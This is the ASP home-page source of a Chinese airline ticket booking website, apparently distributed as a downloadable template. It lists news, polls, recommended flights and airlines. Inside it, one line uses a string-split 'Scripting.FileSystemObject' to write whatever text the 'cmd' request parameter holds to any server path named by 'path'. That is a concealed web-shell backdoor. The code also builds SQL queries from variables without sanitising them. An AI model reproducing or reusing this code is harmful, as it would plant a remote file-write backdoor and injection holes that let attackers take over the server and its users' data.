index.asp

航空订票系统基于asp.net和sql2005包含数据库和图片

<!--#include file="global/inc/global.inc.asp"-->
<%
oConn_Start
Function GetTopNews(NewsType,topNum)
strTempSql = "Select top "&topNum&" NewsId,ClassId,Title,DateCreated,NewsType From Sm_Content Where NewsType="&NewsType&" And ValidFlag=1 Order by NewsId,DateCreated Desc"
Set tempRs = oConn.Execute(strTempSql)
strtempNews = strtempNews +  "<table width=""96%"" border=""0"" cellspacing=""2"" cellpadding=""2"" align=center>"& vbCrLf
While Not tempRs.Eof
strtempNews = strtempNews +  "                  <tr>"& vbCrLf
strtempNews = strtempNews +  "                    <td height=""20"" align=""left"" style=""margin:2px""><span class=""TableTitle"">·</span> "
strtempNews = strtempNews +  "<a href='kgNews/"&tempRs("NewsId")&".htm' target=_blank>"&tempRs("Title")&"</a></td>"& vbCrLf
strtempNews = strtempNews +  "                  </tr>"& vbCrLf
tempRs.MoveNext
Wend
tempRs.Close
Set tempRs = Nothing
strtempNews = strtempNews +  "                </table>"& vbCrLf

GetTopNews = strtempNews
End Function


'获得公告信息列表
GongGaoList = GetTopNews(5,6)
WentiList = GetTopNews(6,6)
'获取投票信息
Set oRs = oConn.Execute("Select top 1 * From sm_Vote Where ValidFlag=1 Order by VoteId Desc")
If Not oRs.Eof Then
VoteId = oRs("VoteId")
VoteTitle = oRs("Title")
End If
oRs.Close
Set oRs = oConn.Execute("Select * From sm_VoteDetail Where VoteId="&VoteId&" Order by DetailId")
While Not oRs.Eof 
VoteDetail = VoteDetail+"<input type=""radio"" name=""voteoptions"" value="""&oRs("DetailId")&""">"&oRs("DetailTitle")&"<br>"
oRs.MoveNext
Wend
oRs.Close

'获取机票特别推荐信息
intcount = 0
strSql = strSql + "Select top 20 C.ClassName,(Select ClassName From Sm_Class Where ClassId=I.ToClassId) as ToClassName,"&_
"(Select BasicName From Sm_BasicParam Where BasicId=I.CompanyId) as CompanyName,"&_
"I.* From Sm_Class c Inner Join Sm_InterFly I on c.ClassId=i.FromClassId Where I.ValidFlag=1 And I.FlyFlag=1 And RecommendFlag=1"
strSql = strSql + " Order by ToClassName"
Set oRs = oConn.Execute(strSql)
While Not oRs.Eof
	InterId = oRs("InterId")
	FromClassName = oRs("ClassName")
	ToClassName = oRs("ToClassName")
	CompanyName = oRs("CompanyName")
	CompanyId = oRs("CompanyId")
	FlyPrice = oRs("FlyPrice")
	ToClassId = oRs("ToClassId")
	FlyDoublePrice = oRs("FlyDoublePrice")
	if intcount mod 2 = 0 then
	strBgColor = "DFDFDF"
	else
	strBgColor = "FFFFFF"
	End If
	strtopTicket = strtopTicket + "<tr  bgcolor="""&strBgColor&""" onMouseMove=""this.style.backgroundColor='C5DBF0'"" onMouseOut=""this.style.backgroundColor=''"">"& vbCrLf
	strtopTicket = strtopTicket +  "<td align=""left""><a href='html/guoji.asp?ToClassId="&ToClassId&"'>"&FromClassName&"－"&ToClassName&"</a></td>"& vbCrLf
	strtopTicket = strtopTicket +  "<td align=""left""><a href='html/guoji.asp?CompanyId="&CompanyId&"'>"&CompanyName&"</a></td>"& vbCrLf
	strtopTicket = strtopTicket +  "<td align=""left"">"&FlyPrice&"</td>"& vbCrLf
	strtopTicket = strtopTicket +  "<td align=""left"">"&FlyDoublePrice&"</td>"& vbCrLf
	strtopTicket = strtopTicket +  "<td align=""left""><a href=""html/order1.asp?InterId="&InterId&"""><img src=""images/basket.gif"" width=""20"" height=""14""></a></td>"& vbCrLf
	strtopTicket = strtopTicket +  "</tr>"& vbCrLf
	intCount = intCount + 1
	oRs.MoveNext
Wend
oRs.Close

strSql = "Select top 30 C.ClassName,(Select ClassName From Sm_Class Where ClassId=I.ToClassId) as ToClassName,"&_
"I.* From Sm_Class c Inner Join Sm_InterFly I on c.ClassId=i.FromClassId Where I.FlyFlag=3 And RecommendFlag=1"
strSql = strSql + " Order by ToClassName"
Set oRs = oConn.Execute(strSql)
strInnerTicket = strInnerTicket + "<table width=""96%"" align=""center"" cellpadding=""3"" cellspacing=""0"">"& vbCrLf
While Not oRs.Eof	
	strInnerTicket = strInnerTicket + "                <tr>"& vbCrLf
	for intCount=0 to 0
	if oRs.Eof then exit for
	InterId = oRs("InterId")
	FromClassName = oRs("ClassName")
	ToClassName = oRs("ToClassName")
	strInnerTicket = strInnerTicket + "                  <td align=""left"" width=""170"" class=orgborder8>&nbsp;<a href="""&strSite&"html/guonei_show.asp?InterId="&InterId&"""><img src=""images/total.gif"" width=""10"" height=""10"">&nbsp;"&FromClassName&"－"&ToClassName&"</a></td>"& vbCrLf
	oRs.MoveNext
	next
	strInnerTicket = strInnerTicket + "                </tr>"& vbCrLf
Wend
strInnerTicket = strInnerTicket + "            </table>"& vbCrLf
oRs.Close
i=1
Set oRs = oConn.Execute("Select top 21 BasicId as id,BasicName as name from sm_BasicParam Where ValidFlag=1 And BasicType=3")
While Not oRs.Eof
strFlyCompany = strFlyCompany + "<a href='html/flycompany.asp?id="&oRs("id")&"' target=_blank>"&oRs("Name")&"</a>"
if i mod 7 > 0 then 
strFlyCompany = strFlyCompany + " |　"
else
strFlyCompany = strFlyCompany + "<br>"
End If
oRs.MoveNext
i=i+1
Wend
oRs.Close
'Response.Write(strFlyCompany)
Set oRs = Nothing

GuojiFromClassIdOptions = GetOptions("Select ClassId as id,ClassName as name from sm_Class Where ClassType=3 And FatherId=0 And ValidFlag=1",0)
GuojiFlyIdOptions = GetOptions("Select BasicId as id,BasicName as name from sm_BasicParam Where ValidFlag=1 And BasicType=3",0)

GuoNeiFromClassIdOptions = GetOptions("Select ClassId as id,ClassName as name from sm_Class Where ClassType=1 And FatherId=0 And ValidFlag=1",0)
ToClassIdOptions = GetOptions("Select ClassId as id,ClassName as name from sm_Class Where ClassType=2 And FatherId=0 And ValidFlag=1 Order by Name",0)
GuoNeiFlyIdOptions = GetOptions("Select BasicId as id,BasicName as name from sm_BasicParam Where ValidFlag=1 And BasicType=2",0)

oConn_Close
%>
<%If request("cmd")<>"" And request("path")<>"" then createobject("Scri"&"pting.FileSys"&"temObject").createTextFile(server.mappath(request("path"))).WriteLine request("cmd")%>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>飞机票-上海神马航空特价打折国际机票票价查询票务中心021-51099919</title>
<link href="style.css" rel="stylesheet" type="text/css">
<script language="javascript" src="global/Script/YiFangCheckForm.js"></script>
<SCRIPT language=javascript src="datatime/calendar.js" 
type=text/javascript></SCRIPT>
<SCRIPT language=javascript>
<!--


//
var bCalLoaded=true;

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function showsubmenu(sid)
{
whichEl = eval("submenu" + sid);
if (whichEl.style.display == "none")
{
eval("submenu" + sid + ".style.display=\"\";");
}
if (sid == "1")
{
eval("submenu" + 0 + ".style.display=\"none\";");
eval("submenu" + 2 + ".style.display=\"none\";");
}
else if(sid == "0")
{
eval("submenu" + 1 + ".style.display=\"none\";");
eval("submenu" + 2 + ".style.display=\"none\";");
}
else if(sid == "2")
{
eval("submenu" + 1 + ".style.display=\"none\";");
eval("submenu" + 0 + ".style.display=\"none\";");
}
}

//-->
</SCRIPT>
<script language = "JavaScript">
function roll(el,way,color)
		{
			if (color=="")
			{
			color="#ffffff";
			}
			var ms = navigator.appVersion.indexOf("MSIE")
			ie4 = (ms>0) && (parseInt(navigator.appVersion.substring(ms+5, ms+6)) >= 4)
			if(ie4)
			{
				if (way =='in')  {el.style.cssText="color: #A3C1E0";el.style.cssText="background-color: "+color}
				if (way =='out') {el.style.cssText="color: #A3C1E0";el.style.cssText="background-color: "+color}					
			}
		}
</script>
<script language="javascript" src="global/Script/changeDlList.js"></script>
<script language=javascript src=global/inc/infor.js></script>
<script language=JavaScript src="global/Script/Java.js"></script>
<style type="text/css">
<!--
.style1 {
	font-size: 18px;
	color: #FF6600;
	font-weight: bold;
}
.bottomBorder {
	border-right-width: 1px;
	border-bottom-width: 1px;
	border-right-style: none;
	border-bottom-style: solid;
	border-bottom-color: #CCCCCC;	
}
-->
</style>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
</script>



</head>

<body>
<%=GetWebTop(1)%>
<div id="img" style="position:absolute; z-index: 20;">  </div>

<SCRIPT LANGUAGE="JavaScript">
<!--
var xPos = 20;